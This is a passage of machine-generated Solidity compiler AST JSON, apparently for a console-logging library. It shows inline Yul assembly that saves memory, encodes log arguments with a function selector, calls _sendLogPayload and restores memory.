","nodeType":"YulIdentifier","src":"66479:6:22"},"nativeSrc":"66479:49:22","nodeType":"YulFunctionCall","src":"66479:49:22"},"nativeSrc":"66479:49:22","nodeType":"YulExpressionStatement","src":"66479:49:22"}]},"name":"writeString","nativeSrc":"66200:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"66221:3:22","nodeType":"YulTypedName","src":"66221:3:22","type":""},{"name":"w","nativeSrc":"66226:1:22","nodeType":"YulTypedName","src":"66226:1:22","type":""}],"src":"66200:342:22"},{"nativeSrc":"66555:17:22","nodeType":"YulAssignment","src":"66555:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66567:4:22","nodeType":"YulLiteral","src":"66567:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"66561:5:22","nodeType":"YulIdentifier","src":"66561:5:22"},"nativeSrc":"66561:11:22","nodeType":"YulFunctionCall","src":"66561:11:22"},"variableNames":[{"name":"m0","nativeSrc":"66555:2:22","nodeType":"YulIdentifier","src":"66555:2:22"}]},{"nativeSrc":"66585:17:22","nodeType":"YulAssignment","src":"66585:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66597:4:22","nodeType":"YulLiteral","src":"66597:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"66591:5:22","nodeType":"YulIdentifier","src":"66591:5:22"},"nativeSrc":"66591:11:22","nodeType":"YulFunctionCall","src":"66591:11:22"},"variableNames":[{"name":"m1","nativeSrc":"66585:2:22","nodeType":"YulIdentifier","src":"66585:2:22"}]},{"nativeSrc":"66615:17:22","nodeType":"YulAssignment","src":"66615:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66627:4:22","nodeType":"YulLiteral","src":"66627:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"66621:5:22","nodeType":"YulIdentifier","src":"66621:5:22"},"nativeSrc":"66621:11:22","nodeType":"YulFunctionCall","src":"66621:11:22"},"variableNames":[{"name":"m2","nativeSrc":"66615:2:22","nodeType":"YulIdentifier","src":"66615:2:22"}]},{"nativeSrc":"66645:17:22","nodeType":"YulAssignment","src":"66645:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66657:4:22","nodeType":"YulLiteral","src":"66657:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"66651:5:22","nodeType":"YulIdentifier","src":"66651:5:22"},"nativeSrc":"66651:11:22","nodeType":"YulFunctionCall","src":"66651:11:22"},"variableNames":[{"name":"m3","nativeSrc":"66645:2:22","nodeType":"YulIdentifier","src":"66645:2:22"}]},{"nativeSrc":"66675:17:22","nodeType":"YulAssignment","src":"66675:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66687:4:22","nodeType":"YulLiteral","src":"66687:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"66681:5:22","nodeType":"YulIdentifier","src":"66681:5:22"},"nativeSrc":"66681:11:22","nodeType":"YulFunctionCall","src":"66681:11:22"},"variableNames":[{"name":"m4","nativeSrc":"66675:2:22","nodeType":"YulIdentifier","src":"66675:2:22"}]},{"nativeSrc":"66705:17:22","nodeType":"YulAssignment","src":"66705:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66717:4:22","nodeType":"YulLiteral","src":"66717:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"66711:5:22","nodeType":"YulIdentifier","src":"66711:5:22"},"nativeSrc":"66711:11:22","nodeType":"YulFunctionCall","src":"66711:11:22"},"variableNames":[{"name":"m5","nativeSrc":"66705:2:22","nodeType":"YulIdentifier","src":"66705:2:22"}]},{"nativeSrc":"66735:17:22","nodeType":"YulAssignment","src":"66735:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66747:4:22","nodeType":"YulLiteral","src":"66747:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"66741:5:22","nodeType":"YulIdentifier","src":"66741:5:22"},"nativeSrc":"66741:11:22","nodeType":"YulFunctionCall","src":"66741:11:22"},"variableNames":[{"name":"m6","nativeSrc":"66735:2:22","nodeType":"YulIdentifier","src":"66735:2:22"}]},{"nativeSrc":"66765:17:22","nodeType":"YulAssignment","src":"66765:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"66777:4:22","nodeType":"YulLiteral","src":"66777:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"66771:5:22","nodeType":"YulIdentifier","src":"66771:5:22"},"nativeSrc":"66771:11:22","nodeType":"YulFunctionCall","src":"66771:11:22"},"variableNames":[{"name":"m7","nativeSrc":"66765:2:22","nodeType":"YulIdentifier","src":"66765:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"66859:4:22","nodeType":"YulLiteral","src":"66859:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"66865:10:22","nodeType":"YulLiteral","src":"66865:10:22","type":"","value":"0xe0e9ad4f"}],"functionName":{"name":"mstore","nativeSrc":"66852:6:22","nodeType":"YulIdentifier","src":"66852:6:22"},"nativeSrc":"66852:24:22","nodeType":"YulFunctionCall","src":"66852:24:22"},"nativeSrc":"66852:24:22","nodeType":"YulExpressionStatement","src":"66852:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"66896:4:22","nodeType":"YulLiteral","src":"66896:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"66902:4:22","nodeType":"YulLiteral","src":"66902:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"66889:6:22","nodeType":"YulIdentifier","src":"66889:6:22"},"nativeSrc":"66889:18:22","nodeType":"YulFunctionCall","src":"66889:18:22"},"nativeSrc":"66889:18:22","nodeType":"YulExpressionStatement","src":"66889:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"66927:4:22","nodeType":"YulLiteral","src":"66927:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"66933:2:22","nodeType":"YulIdentifier","src":"66933:2:22"}],"functionName":{"name":"mstore","nativeSrc":"66920:6:22","nodeType":"YulIdentifier","src":"66920:6:22"},"nativeSrc":"66920:16:22","nodeType":"YulFunctionCall","src":"66920:16:22"},"nativeSrc":"66920:16:22","nodeType":"YulExpressionStatement","src":"66920:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"66956:4:22","nodeType":"YulLiteral","src":"66956:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"66962:4:22","nodeType":"YulLiteral","src":"66962:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"66949:6:22","nodeType":"YulIdentifier","src":"66949:6:22"},"nativeSrc":"66949:18:22","nodeType":"YulFunctionCall","src":"66949:18:22"},"nativeSrc":"66949:18:22","nodeType":"YulExpressionStatement","src":"66949:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"66992:4:22","nodeType":"YulLiteral","src":"66992:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"66998:2:22","nodeType":"YulIdentifier","src":"66998:2:22"}],"functionName":{"name":"writeString","nativeSrc":"66980:11:22","nodeType":"YulIdentifier","src":"66980:11:22"},"nativeSrc":"66980:21:22","nodeType":"YulFunctionCall","src":"66980:21:22"},"nativeSrc":"66980:21:22","nodeType":"YulExpressionStatement","src":"66980:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67026:4:22","nodeType":"YulLiteral","src":"67026:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"67032:2:22","nodeType":"YulIdentifier","src":"67032:2:22"}],"functionName":{"name":"writeString","nativeSrc":"67014:11:22","nodeType":"YulIdentifier","src":"67014:11:22"},"nativeSrc":"67014:21:22","nodeType":"YulFunctionCall","src":"67014:21:22"},"nativeSrc":"67014:21:22","nodeType":"YulExpressionStatement","src":"67014:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35853,"isOffset":false,"isSlot":false,"src":"66555:2:22","valueSize":1},{"declaration":35856,"isOffset":false,"isSlot":false,"src":"66585:2:22","valueSize":1},{"declaration":35859,"isOffset":false,"isSlot":false,"src":"66615:2:22","valueSize":1},{"declaration":35862,"isOffset":false,"isSlot":false,"src":"66645:2:22","valueSize":1},{"declaration":35865,"isOffset":false,"isSlot":false,"src":"66675:2:22","valueSize":1},{"declaration":35868,"isOffset":false,"isSlot":false,"src":"66705:2:22","valueSize":1},{"declaration":35871,"isOffset":false,"isSlot":false,"src":"66735:2:22","valueSize":1},{"declaration":35874,"isOffset":false,"isSlot":false,"src":"66765:2:22","valueSize":1},{"declaration":35845,"isOffset":false,"isSlot":false,"src":"66998:2:22","valueSize":1},{"declaration":35847,"isOffset":false,"isSlot":false,"src":"66933:2:22","valueSize":1},{"declaration":35849,"isOffset":false,"isSlot":false,"src":"67032:2:22","valueSize":1}],"id":35876,"nodeType":"InlineAssembly","src":"66177:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"67070:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":35879,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"67076:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":35877,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"67054:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67054:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35881,"nodeType":"ExpressionStatement","src":"67054:27:22"},{"AST":{"nativeSrc":"67100:243:22","nodeType":"YulBlock","src":"67100:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"67121:4:22","nodeType":"YulLiteral","src":"67121:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"67127:2:22","nodeType":"YulIdentifier","src":"67127:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67114:6:22","nodeType":"YulIdentifier","src":"67114:6:22"},"nativeSrc":"67114:16:22","nodeType":"YulFunctionCall","src":"67114:16:22"},"nativeSrc":"67114:16:22","nodeType":"YulExpressionStatement","src":"67114:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67150:4:22","nodeType":"YulLiteral","src":"67150:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"67156:2:22","nodeType":"YulIdentifier","src":"67156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67143:6:22","nodeType":"YulIdentifier","src":"67143:6:22"},"nativeSrc":"67143:16:22","nodeType":"YulFunctionCall","src":"67143:16:22"},"nativeSrc":"67143:16:22","nodeType":"YulExpressionStatement","src":"67143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67179:4:22","nodeType":"YulLiteral","src":"67179:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"67185:2:22","nodeType":"YulIdentifier","src":"67185:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67172:6:22","nodeType":"YulIdentifier","src":"67172:6:22"},"nativeSrc":"67172:16:22","nodeType":"YulFunctionCall","src":"67172:16:22"},"nativeSrc":"67172:16:22","nodeType":"YulExpressionStatement","src":"67172:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67208:4:22","nodeType":"YulLiteral","src":"67208:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"67214:2:22","nodeType":"YulIdentifier","src":"67214:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67201:6:22","nodeType":"YulIdentifier","src":"67201:6:22"},"nativeSrc":"67201:16:22","nodeType":"YulFunctionCall","src":"67201:16:22"},"nativeSrc":"67201:16:22","nodeType":"YulExpressionStatement","src":"67201:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67237:4:22","nodeType":"YulLiteral","src":"67237:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"67243:2:22","nodeType":"YulIdentifier","src":"67243:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67230:6:22","nodeType":"YulIdentifier","src":"67230:6:22"},"nativeSrc":"67230:16:22","nodeType":"YulFunctionCall","src":"67230:16:22"},"nativeSrc":"67230:16:22","nodeType":"YulExpressionStatement","src":"67230:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67266:4:22","nodeType":"YulLiteral","src":"67266:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"67272:2:22","nodeType":"YulIdentifier","src":"67272:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67259:6:22","nodeType":"YulIdentifier","src":"67259:6:22"},"nativeSrc":"67259:16:22","nodeType":"YulFunctionCall","src":"67259:16:22"},"nativeSrc":"67259:16:22","nodeType":"YulExpressionStatement","src":"67259:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67295:4:22","nodeType":"YulLiteral","src":"67295:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"67301:2:22","nodeType":"YulIdentifier","src":"67301:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67288:6:22","nodeType":"YulIdentifier","src":"67288:6:22"},"nativeSrc":"67288:16:22","nodeType":"YulFunctionCall","src":"67288:16:22"},"nativeSrc":"67288:16:22","nodeType":"YulExpressionStatement","src":"67288:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"67324:4:22","nodeType":"YulLiteral","src":"67324:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"67330:2:22","nodeType":"YulIdentifier","src":"67330:2:22"}],"functionName":{"name":"mstore","nativeSrc":"67317:6:22","nodeType":"YulIdentifier","src":"67317:6:22"},"nativeSrc":"67317:16:22","nodeType":"YulFunctionCall","src":"67317:16:22"},"nativeSrc":"67317:16:22","nodeType":"YulExpressionStatement","src":"67317:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35853,"isOffset":false,"isSlot":false,"src":"67127:2:22","valueSize":1},{"declaration":35856,"isOffset":false,"isSlot":false,"src":"67156:2:22","valueSize":1},{"declaration":35859,"isOffset":false,"isSlot":false,"src":"67185:2:22","valueSize":1},{"declaration":35862,"isOffset":false,"isSlot":false,"src":"67214:2:22","valueSize":1},{"declaration":35865,"isOffset":false,"isSlot":false,"src":"67243:2:22","valueSize":1},{"declaration":35868,"isOffset":false,"isSlot":false,"src":"67272:2:22","valueSize":1},{"declaration":35871,"isOffset":false,"isSlot":false,"src":"67301:2:22","valueSize":1},{"declaration":35874,"isOffset":false,"isSlot":false,"src":"67330:2:22","valueSize":1}],"id":35882,"nodeType":"InlineAssembly","src":"67091:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65953:3:22","parameters":{"id":35850,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35845,"mutability":"mutable","name":"p0","nameLocation":"65965:2:22","nodeType":"VariableDeclaration","scope":35884,"src":"65957:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35844,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65957:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35847,"mutability":"mutable","name":"p1","nameLocation":"65977:2:22","nodeType":"VariableDeclaration","scope":35884,"src":"65969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35846,"name":"address","nodeType":"ElementaryTypeName","src":"65969:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35849,"mutability":"mutable","name":"p2","nameLocation":"65989:2:22","nodeType":"VariableDeclaration","scope":35884,"src":"65981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35848,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65981:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"65956:36:22"},"returnParameters":{"id":35851,"nodeType":"ParameterList","parameters":[],"src":"66007:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35919,"nodeType":"FunctionDefinition","src":"67355:1206:22","nodes":[],"body":{"id":35918,"nodeType":"Block","src":"67415:1146:22","nodes":[],"statements":[{"assignments":[35894],"declarations":[{"constant":false,"id":35894,"mutability":"mutable","name":"m0","nameLocation":"67433:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67425:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35893,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67425:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35895,"nodeType":"VariableDeclarationStatement","src":"67425:10:22"},{"assignments":[35897],"declarations":[{"constant":false,"id":35897,"mutability":"mutable","name":"m1","nameLocation":"67453:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67445:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35896,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67445:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35898,"nodeType":"VariableDeclarationStatement","src":"67445:10:22"},{"assignments":[35900],"declarations":[{"constant":false,"id":35900,"mutability":"mutable","name":"m2","nameLocation":"67473:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67465:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35899,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67465:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35901,"nodeType":"VariableDeclarationStatement","src":"67465:10:22"},{"assignments":[35903],"declarations":[{"constant":false,"id":35903,"mutability":"mutable","name":"m3","nameLocation":"67493:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67485:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35902,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67485:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35904,"nodeType":"VariableDeclarationStatement","src":"67485:10:22"},{"assignments":[35906],"declarations":[{"constant":false,"id":35906,"mutability":"mutable","name":"m4","nameLocation":"67513:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67505:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35905,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67505:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35907,"nodeType":"VariableDeclarationStatement","src":"67505:10:22"},{"assignments":[35909],"declarations":[{"constant":false,"id":35909,"mutability":"mutable","name":"m5","nameLocation":"67533:2:22","nodeType":"VariableDeclaration","scope":35918,"src":"67525:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35908,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67525:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35910,"nodeType":"VariableDeclarationStatement","src":"67525:10:22"},{"AST":{"nativeSrc":"67554:761:22","nodeType":"YulBlock","src":"67554:761:22","statements":[{"body":{"nativeSrc":"67597:313:22","nodeType":"YulBlock","src":"67597:313:22","statements":[{"nativeSrc":"67615:15:22","nodeType":"YulVariableDeclaration","src":"67615:15:22","value":{"kind":"number","nativeSrc":"67629:1:22","nodeType":"YulLiteral","src":"67629:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"67619:6:22","nodeType":"YulTypedName","src":"67619:6:22","type":""}]},{"body":{"nativeSrc":"67700:40:22","nodeType":"YulBlock","src":"67700:40:22","statements":[{"body":{"nativeSrc":"67729:9:22","nodeType":"YulBlock","src":"67729:9:22","statements":[{"nativeSrc":"67731:5:22","nodeType":"YulBreak","src":"67731:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"67717:6:22","nodeType":"YulIdentifier","src":"67717:6:22"},{"name":"w","nativeSrc":"67725:1:22","nodeType":"YulIdentifier","src":"67725:1:22"}],"functionName":{"name":"byte","nativeSrc":"67712:4:22","nodeType":"YulIdentifier","src":"67712:4:22"},"nativeSrc":"67712:15:22","nodeType":"YulFunctionCall","src":"67712:15:22"}],"functionName":{"name":"iszero","nativeSrc":"67705:6:22","nodeType":"YulIdentifier","src":"67705:6:22"},"nativeSrc":"67705:23:22","nodeType":"YulFunctionCall","src":"67705:23:22"},"nativeSrc":"67702:36:22","nodeType":"YulIf","src":"67702:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"67657:6:22","nodeType":"YulIdentifier","src":"67657:6:22"},{"kind":"number","nativeSrc":"67665:4:22","nodeType":"YulLiteral","src":"67665:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"67654:2:22","nodeType":"YulIdentifier","src":"67654:2:22"},"nativeSrc":"67654:16:22","nodeType":"YulFunctionCall","src":"67654:16:22"},"nativeSrc":"67647:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"67671:28:22","nodeType":"YulBlock","src":"67671:28:22","statements":[{"nativeSrc":"67673:24:22","nodeType":"YulAssignment","src":"67673:24:22","value":{"arguments":[{"name":"length","nativeSrc":"67687:6:22","nodeType":"YulIdentifier","src":"67687:6:22"},{"kind":"number","nativeSrc":"67695:1:22","nodeType":"YulLiteral","src":"67695:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"67683:3:22","nodeType":"YulIdentifier","src":"67683:3:22"},"nativeSrc":"67683:14:22","nodeType":"YulFunctionCall","src":"67683:14:22"},"variableNames":[{"name":"length","nativeSrc":"67673:6:22","nodeType":"YulIdentifier","src":"67673:6:22"}]}]},"pre":{"nativeSrc":"67651:2:22","nodeType":"YulBlock","src":"67651:2:22","statements":[]},"src":"67647:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"67764:3:22","nodeType":"YulIdentifier","src":"67764:3:22"},{"name":"length","nativeSrc":"67769:6:22","nodeType":"YulIdentifier","src":"67769:6:22"}],"functionName":{"name":"mstore","nativeSrc":"67757:6:22","nodeType":"YulIdentifier","src":"67757:6:22"},"nativeSrc":"67757:19:22","nodeType":"YulFunctionCall","src":"67757:19:22"},"nativeSrc":"67757:19:22","nodeType":"YulExpressionStatement","src":"67757:19:22"},{"nativeSrc":"67793:37:22","nodeType":"YulVariableDeclaration","src":"67793:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"67810:3:22","nodeType":"YulLiteral","src":"67810:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"67819:1:22","nodeType":"YulLiteral","src":"67819:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"67822:6:22","nodeType":"YulIdentifier","src":"67822:6:22"}],"functionName":{"name":"shl","nativeSrc":"67815:3:22","nodeType":"YulIdentifier","src":"67815:3:22"},"nativeSrc":"67815:14:22","nodeType":"YulFunctionCall","src":"67815:14:22"}],"functionName":{"name":"sub","nativeSrc":"67806:3:22","nodeType":"YulIdentifier","src":"67806:3:22"},"nativeSrc":"67806:24:22","nodeType":"YulFunctionCall","src":"67806:24:22"},"variables":[{"name":"shift","nativeSrc":"67797:5:22","nodeType":"YulTypedName","src":"67797:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"67858:3:22","nodeType":"YulIdentifier","src":"67858:3:22"},{"kind":"number","nativeSrc":"67863:4:22","nodeType":"YulLiteral","src":"67863:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"67854:3:22","nodeType":"YulIdentifier","src":"67854:3:22"},"nativeSrc":"67854:14:22","nodeType":"YulFunctionCall","src":"67854:14:22"},{"arguments":[{"name":"shift","nativeSrc":"67874:5:22","nodeType":"YulIdentifier","src":"67874:5:22"},{"arguments":[{"name":"shift","nativeSrc":"67885:5:22","nodeType":"YulIdentifier","src":"67885:5:22"},{"name":"w","nativeSrc":"67892:1:22","nodeType":"YulIdentifier","src":"67892:1:22"}],"functionName":{"name":"shr","nativeSrc":"67881:3:22","nodeType":"YulIdentifier","src":"67881:3:22"},"nativeSrc":"67881:13:22","nodeType":"YulFunctionCall","src":"67881:13:22"}],"functionName":{"name":"shl","nativeSrc":"67870:3:22","nodeType":"YulIdentifier","src":"67870:3:22"},"nativeSrc":"67870:25:22","nodeType":"YulFunctionCall","src":"67870:25:22"}],"functionName":{"name":"mstore","nativeSrc":"67847:6:22","nodeType":"YulIdentifier","src":"67847:6:22"},"nativeSrc":"67847:49:22","nodeType":"YulFunctionCall","src":"67847:49:22"},"nativeSrc":"67847:49:22","nodeType":"YulExpressionStatement","src":"67847:49:22"}]},"name":"writeString","nativeSrc":"67568:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"67589:3:22","nodeType":"YulTypedName","src":"67589:3:22","type":""},{"name":"w","nativeSrc":"67594:1:22","nodeType":"YulTypedName","src":"67594:1:22","type":""}],"src":"67568:342:22"},{"nativeSrc":"67923:17:22","nodeType":"YulAssignment","src":"67923:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"67935:4:22","nodeType":"YulLiteral","src":"67935:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"67929:5:22","nodeType":"YulIdentifier","src":"67929:5:22"},"nativeSrc":"67929:11:22","nodeType":"YulFunctionCall","src":"67929:11:22"},"variableNames":[{"name":"m0","nativeSrc":"67923:2:22","nodeType":"YulIdentifier","src":"67923:2:22"}]},{"nativeSrc":"67953:17:22","nodeType":"YulAssignment","src":"67953:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"67965:4:22","nodeType":"YulLiteral","src":"67965:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"67959:5:22","nodeType":"YulIdentifier","src":"67959:5:22"},"nativeSrc":"67959:11:22","nodeType":"YulFunctionCall","src":"67959:11:22"},"variableNames":[{"name":"m1","nativeSrc":"67953:2:22","nodeType":"YulIdentifier","src":"67953:2:22"}]},{"nativeSrc":"67983:17:22","nodeType":"YulAssignment","src":"67983:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"67995:4:22","nodeType":"YulLiteral","src":"67995:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"67989:5:22","nodeType":"YulIdentifier","src":"67989:5:22"},"nativeSrc":"67989:11:22","nodeType":"YulFunctionCall","src":"67989:11:22"},"variableNames":[{"name":"m2","nativeSrc":"67983:2:22","nodeType":"YulIdentifier","src":"67983:2:22"}]},{"nativeSrc":"68013:17:22","nodeType":"YulAssignment","src":"68013:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"68025:4:22","nodeType":"YulLiteral","src":"68025:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"68019:5:22","nodeType":"YulIdentifier","src":"68019:5:22"},"nativeSrc":"68019:11:22","nodeType":"YulFunctionCall","src":"68019:11:22"},"variableNames":[{"name":"m3","nativeSrc":"68013:2:22","nodeType":"YulIdentifier","src":"68013:2:22"}]},{"nativeSrc":"68043:17:22","nodeType":"YulAssignment","src":"68043:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"68055:4:22","nodeType":"YulLiteral","src":"68055:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"68049:5:22","nodeType":"YulIdentifier","src":"68049:5:22"},"nativeSrc":"68049:11:22","nodeType":"YulFunctionCall","src":"68049:11:22"},"variableNames":[{"name":"m4","nativeSrc":"68043:2:22","nodeType":"YulIdentifier","src":"68043:2:22"}]},{"nativeSrc":"68073:17:22","nodeType":"YulAssignment","src":"68073:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"68085:4:22","nodeType":"YulLiteral","src":"68085:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"68079:5:22","nodeType":"YulIdentifier","src":"68079:5:22"},"nativeSrc":"68079:11:22","nodeType":"YulFunctionCall","src":"68079:11:22"},"variableNames":[{"name":"m5","nativeSrc":"68073:2:22","nodeType":"YulIdentifier","src":"68073:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68165:4:22","nodeType":"YulLiteral","src":"68165:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"68171:10:22","nodeType":"YulLiteral","src":"68171:10:22","type":"","value":"0x932bbb38"}],"functionName":{"name":"mstore","nativeSrc":"68158:6:22","nodeType":"YulIdentifier","src":"68158:6:22"},"nativeSrc":"68158:24:22","nodeType":"YulFunctionCall","src":"68158:24:22"},"nativeSrc":"68158:24: